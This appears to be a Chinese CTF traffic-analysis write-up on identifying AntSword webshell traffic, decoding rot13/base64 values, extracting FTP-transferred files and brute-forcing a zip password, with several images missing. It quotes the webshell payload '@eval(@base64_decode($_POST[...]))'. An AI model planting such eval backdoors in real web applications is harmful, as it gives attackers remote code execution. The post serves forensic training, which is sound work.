外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们继续追踪流 观察流量特征 发现这是蚁剑的流量特征

%40eval(%40base64_decode(%24_POST%5B'100f9ba8438411'%5D))
URL解码后为:​@eval(@base64_decode($_POST['100f9ba8438411']))

蚁剑的加密方法有 rot13 和base64

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

看这个值 像不像flag

我们对他进行 rot13解密

4

太麻烦了自己解 问了问chatgpt

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

5

我们抓一下ftp的包

找到ftp-data

看看传了什么文件

一个secret 一个readme

我们先追踪 secret

然后进行hax解密

我们将解密的内容解密 然后下载zip

得到了flag.txt

同样的 readme里面有 解压密码 是6位数字

我们用zip解压工具爆破得到密码是131452

6

追踪一个流

得到了base64编码的flag

7

追踪ftp流得到了flag

8

telnet流

这是个思科模拟器

找到flag

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值